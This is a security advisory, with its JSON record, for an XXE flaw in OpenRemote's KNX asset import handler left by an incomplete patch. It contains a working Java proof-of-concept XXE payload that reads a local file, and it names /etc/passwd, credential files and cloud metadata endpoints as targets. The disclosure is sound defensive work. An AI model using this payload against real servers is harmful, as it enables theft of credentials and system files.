GHSA-7V6W-C3F4-9WPQ
Vulnerability from github – Published: 2026-07-06 20:49 – Updated: 2026-07-06 20:49Summary
The fix for CVE-2026-40882 addressed only the Velbus asset import handler. The KNX asset import handler (KNXProtocol) processes user-uploaded ETS project ZIP files through Saxon XSLT and XMLInputFactory.newInstance() with no XXE protection, allowing any authenticated user to read arbitrary files from the server filesystem (e.g. /etc/passwd, openmrs-runtime.properties, cloud credential files).
Details
Incomplete patch
CVE-2026-40882 was fixed by introducing createSecureDocumentBuilderFactory() in AbstractVelbusProtocol.java with five XXE-blocking features. The parallel asset import handler in KNXProtocol.java was not updated and retains two unprotected XML parsing calls on the same user-controlled data.
Patched file — AbstractVelbusProtocol.java:
private DocumentBuilderFactory createSecureDocumentBuilderFactory() {
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
return factory;
}
Vulnerable file — KNXProtocol.java, lines 229–249:
// Line 229-230: reads 0.xml from user-uploaded ZIP
InputStream inputStream = KNXProtocol.class.getResourceAsStream(".../ets_calimero_group_name.xsl");
String xsd = IOUtils.toString(inputStream, StandardCharsets.UTF_8);
// Lines 233-245: Saxon XSLT — no XXE protection on the source document
TransformerFactory tfactory = new TransformerFactoryImpl();
Transformer transformer = tfactory.newTransformer(new StreamSource(new StringReader(xsd)));
transformer.transform(
new StreamSource(new StringReader(xml)), // xml = 0.xml from attacker's ZIP
new StreamResult(writer));
// Line 249: XMLInputFactory — no SUPPORT_DTD=false, no IS_SUPPORTING_EXTERNAL_ENTITIES=false
try (final XmlReader r = XmlInputFactory.newInstance()
.createXMLStreamReader(new StringReader(xml))) { ... }
Data flow
POST /api/{realm}/agent/{agentId}/import (authenticated user, PR:L)
→ AgentResourceImpl.doProtocolAssetImport(fileData)
→ KNXProtocol.startAssetImport(byte[] fileData)
→ ZipInputStream reads 0.xml from attacker-controlled ETS ZIP
→ Saxon TransformerFactoryImpl.transform(StreamSource(0.xml)) ← XXE stage 1
→ XmlInputFactory.newInstance().createXMLStreamReader(xml) ← XXE stage 2
→ external entity resolved → arbitrary file read
Comparison with patched code
| Handler | XML parser | DTD disabled | Status |
|---|---|---|---|
AbstractVelbusProtocol |
DocumentBuilderFactory |
✅ 5 features set | Patched (CVE-2026-40882) |
KNXProtocol |
Saxon + XMLInputFactory |
❌ none set | Not patched |
PoC
No full OpenRemote installation required. The following reproduces the vulnerable XML processing chain using the exact same library versions.
Requirements: Java 17+, Maven 3.8+
pom.xml dependency:
<dependency>
<groupId>net.sf.saxon</groupId>
<artifactId>Saxon-HE</artifactId>
<version>12.9</version>
</dependency>
Exploit.java:
import net.sf.saxon.TransformerFactoryImpl;
import javax.xml.stream.*;
import javax.xml.transform.*;
import javax.xml.transform.stream.*;
import java.io.*;
import java.nio.file.*;
public class Exploit {
public static void main(String[] args) throws Exception {
// Sentinel file — proves arbitrary file read
Path sentinel = Files.createTempFile("openremote_xxe_proof_", ".txt");
String tag = "OPENREMOTE_KNX_XXE_" + System.currentTimeMillis();
Files.writeString(sentinel, tag);
String maliciousXml =
"<?xml version=\"1.0\"?>\n" +
"<!DOCTYPE root [\n" +
" <!ENTITY xxe SYSTEM \"file://" + sentinel.toAbsolutePath() + "\">\n" +
"]>\n" +
"<root><data>&xxe;</data></root>";
// Stage A: XMLInputFactory (KNXProtocol.java:249 — no security config)
XMLInputFactory factory = XMLInputFactory.newInstance();
XMLStreamReader reader = factory.createXMLStreamReader(new StringReader(maliciousXml));
StringBuilder sb = new StringBuilder();
while (reader.hasNext()) {
int e = reader.next();
if (e == XMLStreamConstants.CHARACTERS) sb.append(reader.getText());
}
System.out.println("Stage A result: " + sb.toString().trim());
// Stage B: Saxon TransformerFactoryImpl (KNXProtocol.java:233-245)
String xsl = "<?xml version=\"1.0\"?>" +
"<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">" +
"<xsl:output method=\"text\"/>" +
"<xsl:template match=\"/\"><xsl:value-of select=\"root/data\"/></xsl:template>" +
"</xsl:stylesheet>";
TransformerFactory tf = new TransformerFactoryImpl();
StringWriter writer = new StringWriter();
tf.newTransformer(new StreamSource(new StringReader(xsl)))
.transform(new StreamSource(new StringReader(maliciousXml)), new StreamResult(writer));
System.out.println("Stage B result: " + writer.toString().trim());
Files.deleteIfExists(sentinel);
}
}
Build and run:
mvn clean package -q
java -jar target/openremote-xxe-1.0.jar
Verified output (JDK 21, Linux):
Stage A result: OPENREMOTE_KNX_XXE_1780611779589
Stage B result: OPENREMOTE_KNX_XXE_1780611779589
Both stages print the sentinel file's contents, confirming that an external entity referencing a local file is resolved without restriction.
Impact
Vulnerability type: XML External Entity (XXE) injection leading to arbitrary file read and potential server-side request forgery (SSRF).
Who is impacted: Any OpenRemote deployment that exposes the Manager API to authenticated users. The import endpoint requires only a valid session (PR:L), not administrator access. An attacker with a regular account in any realm can exploit this to read files accessible to the JVM process user, including:
/etc/passwd— user enumeration- Application configuration files containing database credentials or API keys
- Cloud provider metadata endpoints via SSRF (
http://169.254.169.254/...) - Internal service endpoints reachable from the server
The vulnerability is present in KNXProtocol, a built-in protocol handler shipped with every OpenRemote installation that includes the agent module. No special configuration is required to be exposed to this attack.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.24.1"
},
"package": {
"ecosystem": "Maven",
"name": "io.openremote:openremote-agent"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.24.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54640"
],
"database_specific": {
"cwe_ids": [
"CWE-611"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-06T20:49:51Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nThe fix for CVE-2026-40882 addressed only the Velbus asset import handler. The KNX asset import handler (`KNXProtocol`) processes user-uploaded ETS project ZIP files through Saxon XSLT and `XMLInputFactory.newInstance()` with no XXE protection, allowing any authenticated user to read arbitrary files from the server filesystem (e.g. `/etc/passwd`, `openmrs-runtime.properties`, cloud credential files).\n\n### Details\n### Incomplete patch\n\nCVE-2026-40882 was fixed by introducing `createSecureDocumentBuilderFactory()` in `AbstractVelbusProtocol.java` with five XXE-blocking features. The parallel asset import handler in `KNXProtocol.java` was not updated and retains two unprotected XML parsing calls on the same user-controlled data.\n\n**Patched file \u2014 AbstractVelbusProtocol.java:**\n\n```java\nprivate DocumentBuilderFactory createSecureDocumentBuilderFactory() {\n DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();\n factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);\n factory.setFeature(\"http://apache.org/xml/features/disallow-doctype-decl\", true);\n factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false);\n factory.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false);\n factory.setFeature(\"http://apache.org/xml/features/nonvalidating/load-external-dtd\", false);\n return factory;\n}\n```\n\n**Vulnerable file \u2014 KNXProtocol.java, lines 229\u2013249:**\n\n```java\n// Line 229-230: reads 0.xml from user-uploaded ZIP\nInputStream inputStream = KNXProtocol.class.getResourceAsStream(\".../ets_calimero_group_name.xsl\");\nString xsd = IOUtils.toString(inputStream, StandardCharsets.UTF_8);\n\n// Lines 233-245: Saxon XSLT \u2014 no XXE protection on the source document\nTransformerFactory tfactory = new TransformerFactoryImpl();\nTransformer transformer = tfactory.newTransformer(new StreamSource(new StringReader(xsd)));\ntransformer.transform(\n new StreamSource(new StringReader(xml)), // xml = 0.xml from attacker\u0027s ZIP\n new StreamResult(writer));\n\n// Line 249: XMLInputFactory \u2014 no SUPPORT_DTD=false, no IS_SUPPORTING_EXTERNAL_ENTITIES=false\ntry (final XmlReader r = XmlInputFactory.newInstance()\n .createXMLStreamReader(new StringReader(xml))) { ... }\n```\n\n### Data flow\n\n```\nPOST /api/{realm}/agent/{agentId}/import (authenticated user, PR:L)\n \u2192 AgentResourceImpl.doProtocolAssetImport(fileData)\n \u2192 KNXProtocol.startAssetImport(byte[] fileData)\n \u2192 ZipInputStream reads 0.xml from attacker-controlled ETS ZIP\n \u2192 Saxon TransformerFactoryImpl.transform(StreamSource(0.xml)) \u2190 XXE stage 1\n \u2192 XmlInputFactory.newInstance().createXMLStreamReader(xml) \u2190 XXE stage 2\n \u2192 external entity resolved \u2192 arbitrary file read\n```\n\n### Comparison with patched code\n\n| Handler | XML parser | DTD disabled | Status |\n|---|---|---|---|\n| `AbstractVelbusProtocol` | `DocumentBuilderFactory` | \u2705 5 features set | Patched (CVE-2026-40882) |\n| `KNXProtocol` | `Saxon` + `XMLInputFactory` | \u274c none set | **Not patched** |\n\n\n### PoC\nNo full OpenRemote installation required. The following reproduces the vulnerable XML processing chain using the exact same library versions.\n\n**Requirements:** Java 17+, Maven 3.8+\n\n**pom.xml dependency:**\n```xml\n\u003cdependency\u003e\n \u003cgroupId\u003enet.sf.saxon\u003c/groupId\u003e\n \u003cartifactId\u003eSaxon-HE\u003c/artifactId\u003e\n \u003cversion\u003e12.9\u003c/version\u003e\n\u003c/dependency\u003e\n```\n\n**Exploit.java:**\n```java\nimport net.sf.saxon.TransformerFactoryImpl;\nimport javax.xml.stream.*;\nimport javax.xml.transform.*;\nimport javax.xml.transform.stream.*;\nimport java.io.*;\nimport java.nio.file.*;\n\npublic class Exploit {\n public static void main(String[] args) throws Exception {\n\n // Sentinel file \u2014 proves arbitrary file read\n Path sentinel = Files.createTempFile(\"openremote_xxe_proof_\", \".txt\");\n String tag = \"OPENREMOTE_KNX_XXE_\" + System.currentTimeMillis();\n Files.writeString(sentinel, tag);\n\n String maliciousXml =\n \"\u003c?xml version=\\\"1.0\\\"?\u003e\\n\" +\n \"\u003c!DOCTYPE root [\\n\" +\n \" \u003c!ENTITY xxe SYSTEM \\\"file://\" + sentinel.toAbsolutePath() + \"\\\"\u003e\\n\" +\n \"]\u003e\\n\" +\n \"\u003croot\u003e\u003cdata\u003e\u0026xxe;\u003c/data\u003e\u003c/root\u003e\";\n\n // Stage A: XMLInputFactory (KNXProtocol.java:249 \u2014 no security config)\n XMLInputFactory factory = XMLInputFactory.newInstance();\n XMLStreamReader reader = factory.createXMLStreamReader(new StringReader(maliciousXml));\n StringBuilder sb = new StringBuilder();\n while (reader.hasNext()) {\n int e = reader.next();\n if (e == XMLStreamConstants.CHARACTERS) sb.append(reader.getText());\n }\n System.out.println(\"Stage A result: \" + sb.toString().trim());\n\n // Stage B: Saxon TransformerFactoryImpl (KNXProtocol.java:233-245)\n String xsl = \"\u003c?xml version=\\\"1.0\\\"?\u003e\" +\n \"\u003cxsl:stylesheet version=\\\"1.0\\\" xmlns:xsl=\\\"http://www.w3.org/1999/XSL/Transform\\\"\u003e\" +\n \"\u003cxsl:output method=\\\"text\\\"/\u003e\" +\n \"\u003cxsl:template match=\\\"/\\\"\u003e\u003cxsl:value-of select=\\\"root/data\\\"/\u003e\u003c/xsl:template\u003e\" +\n \"\u003c/xsl:stylesheet\u003e\";\n TransformerFactory tf = new TransformerFactoryImpl();\n StringWriter writer = new StringWriter();\n tf.newTransformer(new StreamSource(new StringReader(xsl)))\n .transform(new StreamSource(new StringReader(maliciousXml)), new StreamResult(writer));\n System.out.println(\"Stage B result: \" + writer.toString().trim());\n\n Files.deleteIfExists(sentinel);\n }\n}\n```\n\n**Build and run:**\n```bash\nmvn clean package -q\njava -jar target/openremote-xxe-1.0.jar\n```\n\n**Verified output (JDK 21, Linux):**\n```\nStage A result: OPENREMOTE_KNX_XXE_1780611779589\nStage B result: OPENREMOTE_KNX_XXE_1780611779589\n```\n\nBoth stages print the sentinel file\u0027s contents, confirming that an external entity referencing a local file is resolved without restriction.\n\n\n### Impact\n**Vulnerability type:** XML External Entity (XXE) injection leading to arbitrary file read and potential server-side request forgery (SSRF).\n\n**Who is impacted:** Any OpenRemote deployment that exposes the Manager API to authenticated users. The import endpoint requires only a valid session (PR:L), not administrator access. An attacker with a regular account in any realm can exploit this to read files accessible to the JVM process user, including:\n\n- `/etc/passwd` \u2014 user enumeration\n- Application configuration files containing database credentials or API keys\n- Cloud provider metadata endpoints via SSRF (`http://169.254.169.254/...`)\n- Internal service endpoints reachable from the server\n\nThe vulnerability is present in `KNXProtocol`, a built-in protocol handler shipped with every OpenRemote installation that includes the agent module. No special configuration is required to be exposed to this attack.",
"id": "GHSA-7v6w-c3f4-9wpq",
"modified": "2026-07-06T20:49:51Z",
"published": "2026-07-06T20:49:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openremote/openremote/security/advisories/GHSA-7v6w-c3f4-9wpq"
},
{
"type": "WEB",
"url": "https://github.com/openremote/openremote/commit/c28d3c60ebc2da68d9b6c4a6d7a5ad875a255ee9"
},
{
"type": "PACKAGE",
"url": "https://github.com/openremote/openremote"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "OpenRemote has an incomplete fix for CVE-2026-40882: XXE in KNXProtocol.startAssetImport() allows arbitrary file read via unprotected XMLInputFactory"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.